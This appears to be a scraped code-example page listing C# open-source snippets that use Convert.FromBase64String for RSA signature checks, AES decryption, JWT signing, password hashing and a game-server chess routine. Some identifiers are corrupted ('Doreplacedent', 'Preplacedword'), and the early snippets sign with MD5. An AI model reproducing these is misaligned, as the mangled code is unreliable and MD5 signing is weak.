RSAPKCS1SignatureDeformatter RSADeformatter = new RSAPKCS1SignatureDeformatter(RSA);
//指定解密的时候HASH算法为MD5
RSADeformatter.SetHashAlgorithm("MD5");
DeformatterData = Convert.FromBase64String(p_strDeformatterData);
if (RSADeformatter.VerifySignature(HashbyteDeformatter, DeformatterData))
{
return true;
}
else
{
return false;
}
}
19
Source : RSAEncode.cs
with Apache License 2.0
from 91270
with Apache License 2.0
from 91270
public bool SignatureDeformatter(string p_strKeyPublic, string p_strHashbyteDeformatter, string p_strDeformatterData)
{
byte[] DeformatterData;
byte[] HashbyteDeformatter;
HashbyteDeformatter = Convert.FromBase64String(p_strHashbyteDeformatter);
RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();
RSA.FromXmlString(p_strKeyPublic);
RSAPKCS1SignatureDeformatter RSADeformatter = new RSAPKCS1SignatureDeformatter(RSA);
//指定解密的时候HASH算法为MD5
RSADeformatter.SetHashAlgorithm("MD5");
DeformatterData = Convert.FromBase64String(p_strDeformatterData);
if (RSADeformatter.VerifySignature(HashbyteDeformatter, DeformatterData))
{
return true;
}
else
{
return false;
}
}
19
Source : Crypto.cs
with Apache License 2.0
from AantCoder
with Apache License 2.0
from AantCoder
public string FromBase64(string source)
{
var sourceByte = Convert.FromBase64String(source);
return Encoding.UTF8.GetString(sourceByte);
}
19
Source : Crypto.cs
with Apache License 2.0
from AantCoder
with Apache License 2.0
from AantCoder
public string Decrypt(string criptMessage)
{
return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(criptMessage)));
}
19
Source : Crypto.cs
with Apache License 2.0
from AantCoder
with Apache License 2.0
from AantCoder
public string SymmetricDecrypt(string criptMessage)
{
return Encoding.UTF8.GetString(SymmetricDecrypt(Convert.FromBase64String(criptMessage), SymmetricKey));
}
19
Source : GZip.cs
with Apache License 2.0
from AantCoder
with Apache License 2.0
from AantCoder
public static string Unzip(string str)
{
return UnzipByte(Convert.FromBase64String(str));
}
19
Source : StringExtensions.cs
with Apache License 2.0
from abist-co-ltd
with Apache License 2.0
from abist-co-ltd
public static string DecodeFrom64(this string encodedData)
{
byte[] encodedDataAsBytes = Convert.FromBase64String(encodedData);
return Encoding.ASCII.GetString(encodedDataAsBytes);
}
19
Source : NameUtility.cs
with Apache License 2.0
from acblog
with Apache License 2.0
from acblog
public static string Decode(string str)
{
return Encoding.UTF8.GetString(Convert.FromBase64String(str.Replace('-', '+').Replace('_', '/')));
}
19
Source : DocumentProtector.cs
with Apache License 2.0
from acblog
with Apache License 2.0
from acblog
public async Task<Doreplacedent> Deprotect(Doreplacedent value, ProtectionKey key, CancellationToken cancellationToken = default)
{
try
{
if (!await IsProtected(value, cancellationToken))
{
return value;
}
var bs = Convert.FromBase64String(value.Raw);
// var ky = Encoding.UTF8.GetBytes(key.Preplacedword);
// await using var ms = new MemoryStream(AesDecrypt(bs, ky));
await using var ms = new MemoryStream(bs);
return await JsonSerializer.DeserializeAsync<Doreplacedent>(ms, cancellationToken: cancellationToken)
?? throw new NullReferenceException("Null");
}
catch (Exception ex)
{
throw new ProtectionException("Deprotect failed.", ex);
}
}
19
Source : ACBrConsultaCPF.cs
with MIT License
from ACBrNet
with MIT License
from ACBrNet
public Image GetCaptcha()
{
var request = GetClient(urlBaseReceitaFederal + paginaPrincipal);
var response = request.GetResponse();
string htmlResult;
using (var reader = new StreamReader(response.GetResponseStream()))
{
htmlResult = reader.ReadToEnd();
}
if (htmlResult.Length < 1) return null;
var imgBase64 = htmlResult.GetStrBetween("data:image/png;base64,", "\">");
Guard.Against<ACBrCaptchaException>(imgBase64.IsEmpty(), "Erro ao carregar captcha");
using (var ms = new MemoryStream(Convert.FromBase64String(imgBase64)))
{
return Image.FromStream(ms);
}
}
19
Source : TokenGenerator.cs
with MIT License
from Accedia
with MIT License
from Accedia
public string GenerateAppleClientSecret(string privateKey, string teamId, string clientId, string keyId)
{
var key = GetFormattedPrivateKey(privateKey);
var ecDsaCng = ECDsa.Create();
ecDsaCng.ImportPkcs8PrivateKey(Convert.FromBase64String(key), out var _);
var signingCredentials = new SigningCredentials(
new ECDsaSecurityKey(ecDsaCng), SecurityAlgorithms.EcdsaSha256);
var now = DateTime.UtcNow;
var claims = new List<Claim>
{
new Claim(ClaimConstants.Issuer, teamId),
new Claim(ClaimConstants.IssuedAt, EpochTime.GetIntDate(now).ToString(), ClaimValueTypes.Integer64),
new Claim(ClaimConstants.Expiration, EpochTime.GetIntDate(now.AddMinutes(5)).ToString(), ClaimValueTypes.Integer64),
new Claim(ClaimConstants.Audience, "https://appleid.apple.com"),
new Claim(ClaimConstants.Sub, clientId)
};
var token = new JwtSecurityToken(
issuer: teamId,
claims: claims,
expires: now.AddMinutes(5),
signingCredentials: signingCredentials);
token.Header.Add(ClaimConstants.KeyID, keyId);
return _tokenHandler.WriteToken(token);
}
19
Source : SecureExtensions.cs
with MIT License
from Accelerider
with MIT License
from Accelerider
public static string DecryptByRsa(this string text, string privateKeyXml = null)
{
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
rsa.FromXmlString(privateKeyXml ?? GetPrivateKey());
var cipherbytes = rsa.Decrypt(Convert.FromBase64String(text), false);
return Encoding.UTF8.GetString(cipherbytes);
}
19
Source : AccountExtensions.cs
with GNU Affero General Public License v3.0
from ACEmulator
with GNU Affero General Public License v3.0
from ACEmulator
private static string GetPreplacedwordHash(Account account, string preplacedword)
{
byte[] preplacedwordBytes = Encoding.UTF8.GetBytes(preplacedword);
byte[] saltBytes = Convert.FromBase64String(account.PreplacedwordSalt);
byte[] buffer = preplacedwordBytes.Concat(saltBytes).ToArray();
byte[] hash;
using (SHA512Managed hasher = new SHA512Managed())
hash = hasher.ComputeHash(buffer);
return Convert.ToBase64String(hash);
}
19
Source : Game.cs
with GNU Affero General Public License v3.0
from ACEmulator
with GNU Affero General Public License v3.0
from ACEmulator
public void ActOnJoin_Legacy(Player player)
{
if (active) return;
active = true;
// team is either 0 or 1. -1 means failed to join
var msgJoinResponse = new GameEventJoinGameResponse(player.Session, Guid, ChessColor.Black);
// 0 or 1 for winning team. -1 is used for stalemate, -2 (and gameId of 0) is used to exit game mode in client
// var msgGameOver = new GameEventGameOver(player.Session, 0, -2);
// player.Session.Network.EnqueueSend(msgJoinResponse, msgGameOver);
player.Session.Network.EnqueueSend(msgJoinResponse);
// 0xA9B2002E [135.97 133.313 94.4447] 1 0 0 0 (holtburg game location)
// Drudges
var drudgeRook1 = WorldObjectFactory.CreateNewWorldObject("drudgerook") as GamePiece;
drudgeRook1.Location = new Position(Location.Cell, Location.PositionX - 3.5f, Location.PositionY - 3.5f, Location.PositionZ, 0, 0, 0, 1);
drudgeRook1.EnterWorld();
var drudgeKnight1 = WorldObjectFactory.CreateNewWorldObject("drudgeknight") as GamePiece;
drudgeKnight1.Location = new Position(Location.Cell, Location.PositionX - 2.5f, Location.PositionY - 3.5f, Location.PositionZ, 0, 0, 0, 1);
drudgeKnight1.EnterWorld();
var drudgeBishop1 = WorldObjectFactory.CreateNewWorldObject("drudgebishop") as GamePiece;
drudgeBishop1.Location = new Position(Location.Cell, Location.PositionX - 1.5f, Location.PositionY - 3.5f, Location.PositionZ, 0, 0, 0, 1);
drudgeBishop1.EnterWorld();
var drudgeQueen = WorldObjectFactory.CreateNewWorldObject("drudgequeen") as GamePiece;
drudgeQueen.Location = new Position(Location.Cell, Location.PositionX - 0.5f, Location.PositionY - 3.5f, Location.PositionZ, 0, 0, 0, 1);
drudgeQueen.EnterWorld();
var drudgeKing = WorldObjectFactory.CreateNewWorldObject("drudgeking") as GamePiece;
drudgeKing.Location = new Position(Location.Cell, Location.PositionX + 0.5f, Location.PositionY - 3.5f, Location.PositionZ, 0, 0, 0, 1);
drudgeKing.EnterWorld();
var drudgeBishop2 = WorldObjectFactory.CreateNewWorldObject("drudgebishop") as GamePiece;
drudgeBishop2.Location = new Position(Location.Cell, Location.PositionX + 1.5f, Location.PositionY - 3.5f, Location.PositionZ, 0, 0, 0, 1);
drudgeBishop2.EnterWorld();
var drudgeKnight2 = WorldObjectFactory.CreateNewWorldObject("drudgeknight") as GamePiece;
drudgeKnight2.Location = new Position(Location.Cell, Location.PositionX + 2.5f, Location.PositionY - 3.5f, Location.PositionZ, 0, 0, 0, 1);
drudgeKnight2.EnterWorld();
var drudgeRook2 = WorldObjectFactory.CreateNewWorldObject("drudgerook") as GamePiece;
drudgeRook2.Location = new Position(Location.Cell, Location.PositionX + 3.5f, Location.PositionY - 3.5f, Location.PositionZ, 0, 0, 0, 1);
drudgeRook2.EnterWorld();
var drudgePawn1 = WorldObjectFactory.CreateNewWorldObject("drudgepawn") as GamePiece;
drudgePawn1.Location = new Position(Location.Cell, Location.PositionX - 3.5f, Location.PositionY - 2.5f, Location.PositionZ, 0, 0, 0, 1);
drudgePawn1.EnterWorld();
var drudgePawn2 = WorldObjectFactory.CreateNewWorldObject("drudgepawn") as GamePiece;
drudgePawn2.Location = new Position(Location.Cell, Location.PositionX - 2.5f, Location.PositionY - 2.5f, Location.PositionZ, 0, 0, 0, 1);
drudgePawn2.EnterWorld();
var drudgePawn3 = WorldObjectFactory.CreateNewWorldObject("drudgepawn") as GamePiece;
drudgePawn3.Location = new Position(Location.Cell, Location.PositionX - 1.5f, Location.PositionY - 2.5f, Location.PositionZ, 0, 0, 0, 1);
drudgePawn3.EnterWorld();
var drudgePawn4 = WorldObjectFactory.CreateNewWorldObject("drudgepawn") as GamePiece;
drudgePawn4.Location = new Position(Location.Cell, Location.PositionX - 0.5f, Location.PositionY - 2.5f, Location.PositionZ, 0, 0, 0, 1);
drudgePawn4.EnterWorld();
var drudgePawn5 = WorldObjectFactory.CreateNewWorldObject("drudgepawn") as GamePiece;
drudgePawn5.Location = new Position(Location.Cell, Location.PositionX + 0.5f, Location.PositionY - 2.5f, Location.PositionZ, 0, 0, 0, 1);
drudgePawn5.EnterWorld();
var drudgePawn6 = WorldObjectFactory.CreateNewWorldObject("drudgepawn") as GamePiece;
drudgePawn6.Location = new Position(Location.Cell, Location.PositionX + 1.5f, Location.PositionY - 2.5f, Location.PositionZ, 0, 0, 0, 1);
drudgePawn6.EnterWorld();
var drudgePawn7 = WorldObjectFactory.CreateNewWorldObject("drudgepawn") as GamePiece;
drudgePawn7.Location = new Position(Location.Cell, Location.PositionX + 2.5f, Location.PositionY - 2.5f, Location.PositionZ, 0, 0, 0, 1);
drudgePawn7.EnterWorld();
var drudgePawn8 = WorldObjectFactory.CreateNewWorldObject("drudgepawn") as GamePiece;
drudgePawn8.Location = new Position(Location.Cell, Location.PositionX + 3.5f, Location.PositionY - 2.5f, Location.PositionZ, 0, 0, 0, 1);
drudgePawn8.EnterWorld();
// Mosswarts
var mosswartRook1 = WorldObjectFactory.CreateNewWorldObject("mosswartrook") as GamePiece;
mosswartRook1.Location = new Position(Location.Cell, Location.PositionX - 3.5f, Location.PositionY + 3.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartRook1.EnterWorld();
var mosswartKnight1 = WorldObjectFactory.CreateNewWorldObject("mosswartknight") as GamePiece;
mosswartKnight1.Location = new Position(Location.Cell, Location.PositionX - 2.5f, Location.PositionY + 3.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartKnight1.EnterWorld();
var mosswartBishop1 = WorldObjectFactory.CreateNewWorldObject("mosswartbishop") as GamePiece;
mosswartBishop1.Location = new Position(Location.Cell, Location.PositionX - 1.5f, Location.PositionY + 3.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartBishop1.EnterWorld();
var mosswartQueen = WorldObjectFactory.CreateNewWorldObject("mosswartqueen") as GamePiece;
mosswartQueen.Location = new Position(Location.Cell, Location.PositionX - 0.5f, Location.PositionY + 3.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartQueen.EnterWorld();
var mosswartKing = WorldObjectFactory.CreateNewWorldObject("mosswartking") as GamePiece;
mosswartKing.Location = new Position(Location.Cell, Location.PositionX + 0.5f, Location.PositionY + 3.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartKing.EnterWorld();
var mosswartBishop2 = WorldObjectFactory.CreateNewWorldObject("mosswartbishop") as GamePiece;
mosswartBishop2.Location = new Position(Location.Cell, Location.PositionX + 1.5f, Location.PositionY + 3.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartBishop2.EnterWorld();
var mosswartKnight2 = WorldObjectFactory.CreateNewWorldObject("mosswartknight") as GamePiece;
mosswartKnight2.Location = new Position(Location.Cell, Location.PositionX + 2.5f, Location.PositionY + 3.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartKnight2.EnterWorld();
var mosswartRook2 = WorldObjectFactory.CreateNewWorldObject("mosswartrook") as GamePiece;
mosswartRook2.Location = new Position(Location.Cell, Location.PositionX + 3.5f, Location.PositionY + 3.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartRook2.EnterWorld();
var mosswartPawn1 = WorldObjectFactory.CreateNewWorldObject("mosswartpawn") as GamePiece;
mosswartPawn1.Location = new Position(Location.Cell, Location.PositionX - 3.5f, Location.PositionY + 2.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartPawn1.EnterWorld();
var mosswartPawn2 = WorldObjectFactory.CreateNewWorldObject("mosswartpawn") as GamePiece;
mosswartPawn2.Location = new Position(Location.Cell, Location.PositionX - 2.5f, Location.PositionY + 2.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartPawn2.EnterWorld();
var mosswartPawn3 = WorldObjectFactory.CreateNewWorldObject("mosswartpawn") as GamePiece;
mosswartPawn3.Location = new Position(Location.Cell, Location.PositionX - 1.5f, Location.PositionY + 2.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartPawn3.EnterWorld();
var mosswartPawn4 = WorldObjectFactory.CreateNewWorldObject("mosswartpawn") as GamePiece;
mosswartPawn4.Location = new Position(Location.Cell, Location.PositionX - 0.5f, Location.PositionY + 2.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartPawn4.EnterWorld();
var mosswartPawn5 = WorldObjectFactory.CreateNewWorldObject("mosswartpawn") as GamePiece;
mosswartPawn5.Location = new Position(Location.Cell, Location.PositionX + 0.5f, Location.PositionY + 2.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartPawn5.EnterWorld();
var mosswartPawn6 = WorldObjectFactory.CreateNewWorldObject("mosswartpawn") as GamePiece;
mosswartPawn6.Location = new Position(Location.Cell, Location.PositionX + 1.5f, Location.PositionY + 2.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartPawn6.EnterWorld();
var mosswartPawn7 = WorldObjectFactory.CreateNewWorldObject("mosswartpawn") as GamePiece;
mosswartPawn7.Location = new Position(Location.Cell, Location.PositionX + 2.5f, Location.PositionY + 2.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartPawn7.EnterWorld();
var mosswartPawn8 = WorldObjectFactory.CreateNewWorldObject("mosswartpawn") as GamePiece;
mosswartPawn8.Location = new Position(Location.Cell, Location.PositionX + 3.5f, Location.PositionY + 2.5f, Location.PositionZ, 0, 0, 1, 0);
mosswartPawn8.EnterWorld();
// For HellsWrath...
ActionChain gdlChain = new ActionChain();
gdlChain.AddDelaySeconds(5);
gdlChain.AddAction(this, () =>
{
drudgeRook1.Kill();
drudgeBishop1.Kill();
drudgeKnight1.Kill();
drudgeQueen.Kill();
drudgeKing.Kill();
drudgeBishop2.Kill();
drudgeKnight2.Kill();
drudgeRook2.Kill();
drudgePawn1.Kill();
drudgePawn2.Kill();
drudgePawn3.Kill();
drudgePawn4.Kill();
drudgePawn5.Kill();
drudgePawn6.Kill();
drudgePawn7.Kill();
drudgePawn8.Kill();
mosswartRook1.Kill();
mosswartBishop1.Kill();
mosswartKnight1.Kill();
mosswartQueen.Kill();
mosswartKing.Kill();
mosswartBishop2.Kill();
mosswartKnight2.Kill();
mosswartRook2.Kill();
mosswartPawn1.Kill();
mosswartPawn2.Kill();
mosswartPawn3.Kill();
mosswartPawn4.Kill();
mosswartPawn5.Kill();
mosswartPawn6.Kill();
mosswartPawn7.Kill();
mosswartPawn8.Kill();
var msgGameOver = new GameEventGameOver(player.Session, Guid, 0);
player.Session.Network.EnqueueSend(msgGameOver);
});
gdlChain.AddDelaySeconds(2);
gdlChain.AddAction(this, () =>
{
byte[] msg = Convert.FromBase64String("Z2FtZXNkZWFkbG9s");
var popupGDL = new GameEventPopupString(player.Session, System.Text.Encoding.UTF8.GetString(msg, 0, msg.Length));
var msgGameOver2 = new GameEventGameOver(player.Session, new ObjectGuid(0), -2);
player.Session.Network.EnqueueSend(popupGDL, msgGameOver2);
player.ChessGamesLost++;
player.ChessTotalGames++;
active = false;
});
gdlChain.EnqueueChain();
}
19
Source : MessageListener.cs
with MIT License
from actions
with MIT License
from actions
private TaskAgentMessage DecryptMessage(TaskAgentMessage message)
{
if (_session.EncryptionKey == null ||
_session.EncryptionKey.Value.Length == 0 ||
message == null ||
message.IV == null ||
message.IV.Length == 0)
{
return message;
}
using (var aes = Aes.Create())
using (var decryptor = GetMessageDecryptor(aes, message))
using (var body = new MemoryStream(Convert.FromBase64String(message.Body)))
using (var cryptoStream = new CryptoStream(body, decryptor, CryptoStreamMode.Read))
using (var bodyReader = new StreamReader(cryptoStream, Encoding.UTF8))
{
message.Body = bodyReader.ReadToEnd();
}
return message;
}
19
Source : PrimitiveExtensions.cs
with MIT License
from actions
with MIT License
from actions
public static byte[] FromBase64StringNoPadding(this String base64String)
{
ArgumentUtility.CheckStringForNullOrEmpty(base64String, "base64String");
string s = base64String;
s = s.Replace('-', '+'); // 62nd char of encoding
s = s.Replace('_', '/'); // 63rd char of encoding
switch (s.Length % 4) // Pad with trailing '='s
{
case 0: break; // No pad chars in this case
case 2: s += "=="; break; // Two pad chars
case 3: s += "="; break; // One pad char
default:
throw new ArgumentException(CommonResources.IllegalBase64String(), "base64String");
}
return Convert.FromBase64String(s); // Standard base64 decoder
}
19
Source : CompletionDataExtensions.cs
with MIT License
from ActiveLogin
with MIT License
from ActiveLogin
public static string GetSignatureXml(this CompletionData completionData)
{
return Encoding.UTF8.GetString(Convert.FromBase64String(completionData.Signature));
}
19
Source : AzureKeyVaultCertificateClient.cs
with MIT License
from ActiveLogin
with MIT License
from ActiveLogin
public X509Certificate2 GetX509Certificate2(string keyVaultSecretKey)
{
var secret = _secretClient.GetSecret(keyVaultSecretKey).Value;
if (secret.Properties.ContentType != CertificateContentType)
{
throw new ArgumentException($"This certificate must be of type {CertificateContentType}");
}
var certificateBytes = Convert.FromBase64String(secret.Value);
return GetX509Certificate2(certificateBytes);
}
19
Source : BankIdGetSessionUserAttributesExtensions.cs
with MIT License
from ActiveLogin
with MIT License
from ActiveLogin
public static string GetSignatureXml(this BankIdGetSessionUserAttributes userAttributes)
{
return Encoding.UTF8.GetString(Convert.FromBase64String(userAttributes.Signature));
}
See More Examples